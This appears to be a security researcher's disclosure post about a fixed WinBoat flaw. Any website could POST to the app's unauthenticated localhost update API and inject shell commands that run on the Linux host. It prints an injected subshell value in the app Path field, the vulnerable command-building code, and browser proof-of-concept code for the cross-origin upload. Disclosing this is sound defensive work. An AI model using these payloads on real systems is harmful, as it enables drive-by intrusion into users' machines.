Skip to main content
  1. posts/

WinBoat: Drive by Client RCE + Sandbox escape.

What Is WinBoat? #

WinBoat is a desktop application that lets you run Windows apps side-by-side with Linux apps — without spinning up a full virtual machine UI.

Under the hood, it:

  • Runs a Windows environment inside a container
  • Exposes a local HTTP API used by the host UI
  • Uses RDP to launch Windows applications seamlessly
  • Dynamically renders a list of “apps” provided by the guest

From a user’s perspective, it feels a bit like WSLg or Parallels Coherence mode: click an app, get a window, forget there’s a whole OS boundary involved.

From a security perspective… that boundary is exactly where things get interesting.

Overview #

WinBoat exposes a Windows “guest service” HTTP API on the host at http://localhost:7148/. The service accepts unauthenticated and has no csrf protections. It is configured with permissive CORS (not nessesory for the exploit but makes for a nice POC). That means a remote website can issue requests directly to a privileged local service running on your machine.

One of those endpoints is /update.

By POSTing attacker-controlled content to /update, an attacker can replace a guest component (such as guest_server) and compromise the Windows container. Once compromised, the guest can return malicious “app entries” to the host.

The problem: the host renderer blindly trusts those entries.

Specifically, it takes the guest-supplied Path field, interpolates it into a shell command, and executes it on the Linux host the next time the user clicks the app.

At that point, the exploit has crossed every boundary:

Video link: YouTube PoC

Attack Flow #

  1. A malicious webpage sends a cross-origin request to http://localhost:7148/update
  2. The unauthenticated update endpoint accepts attacker-controlled content
  3. The Windows guest container is compromised
  4. The guest returns a malicious app entry with a crafted Path
  5. The host renderer builds a shell command using that Path
  6. The user clicks the app
  7. Linux host code execution

Guest → Host Trust Boundary Break #

The malicious app entry returned by the compromised guest looks like this:

[
  {
    "Name": "Hax",
    "Path": "$(gnome-calculator)"
  }
]

This Path is later interpolated directly into a shell command on the host. Here’s the vulnerable code path in WinBoat:

  • WinBoat source: src/renderer/lib/winboat.ts (#L707)
    https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
let cmd = `${freeRDPBin} /u:"${username}"\
/p:"${password}"\
/v:127.0.0.1\
/port:${rdpHostPort}\
...
/app:program:"${app.Path}",name:"${cleanAppName}",cmd:"${app.Args}" &`;

await execAsync(cmd);

Because app.Path is not sanitized and is embedded in a shell string, the subshell:

$(gnome-calculator)

is executed immediately.

This code runs on the Linux host, not inside the container — giving full host-level RCE.

Proof of Concept Notes #

My PoC at http://winboat.hack.do/ “vibes” the chain together by abusing /update to replace the apps.ps2 script so the guest returns a single new app entry (“Hax”). Once WinBoat displays it, clicking the app triggers host command execution.

Relevant PoC Chunks (browser → localhost:7148) #

The full PoC has a UI, logging, and metrics polling, but the exploit boils down to:

  • Fetching an attacker-controlled ZIP
  • Uploading it cross-origin to the unauthenticated local /update endpoint
  • Polling until the service restarts and the malicious "Hax" app appears in /apps

  // 1) Download attacker-controlled ZIP (contains replacement apps.ps2 / guest_server bits)
  const response = await fetch(sourceUrl);
  ...
  const zipBlob = await response.blob();

  // 2) Upload ZIP to unauthenticated local update endpoint
  const zipFile = new File([zipBlob], "upload.zip", { type: "application/zip" });
  const form = new FormData();
  form.append("updateFile", zipFile);

  const uploadResponse = await fetch(destUrl, {
    method: "POST",
    body: form,
    mode: "cors",
  });
  ...
  waitForServerRestart()
}
     

Impact #

  • Remote → local bridge: any website can target the user’s local WinBoat service on localhost when CORS is permissive.
  • Container compromise → host compromise: a compromised guest can feed attacker-controlled data into privileged host-side command execution.
  • User interaction: host code execution triggers on the next click of the malicious app entry.

Affected Versions #

  • Affected: WinBoat <= v0.8.7
  • Fixed: WinBoat v0.9.0

Fixed in v0.9.0 #

This was resolved in WinBoat v0.9.0 by requiring authentication for the local API via a randomly generated password, preventing arbitrary webpages from issuing unauthenticated update requests.

Recommendations #

  • Treat guest-provided fields like Path as untrusted input; avoid shell interpolation entirely (prefer direct exec with args, strict allowlists, or structured IPC).
  • Keep local privileged services authenticated and avoid permissive CORS on sensitive endpoints (especially update/install surfaces).

References #

  • WinBoat project site
  • PoC video: YouTube
  • Vulnerable interpolation: https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
  • Fix commit: https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36
  • Related commit: 3ca4186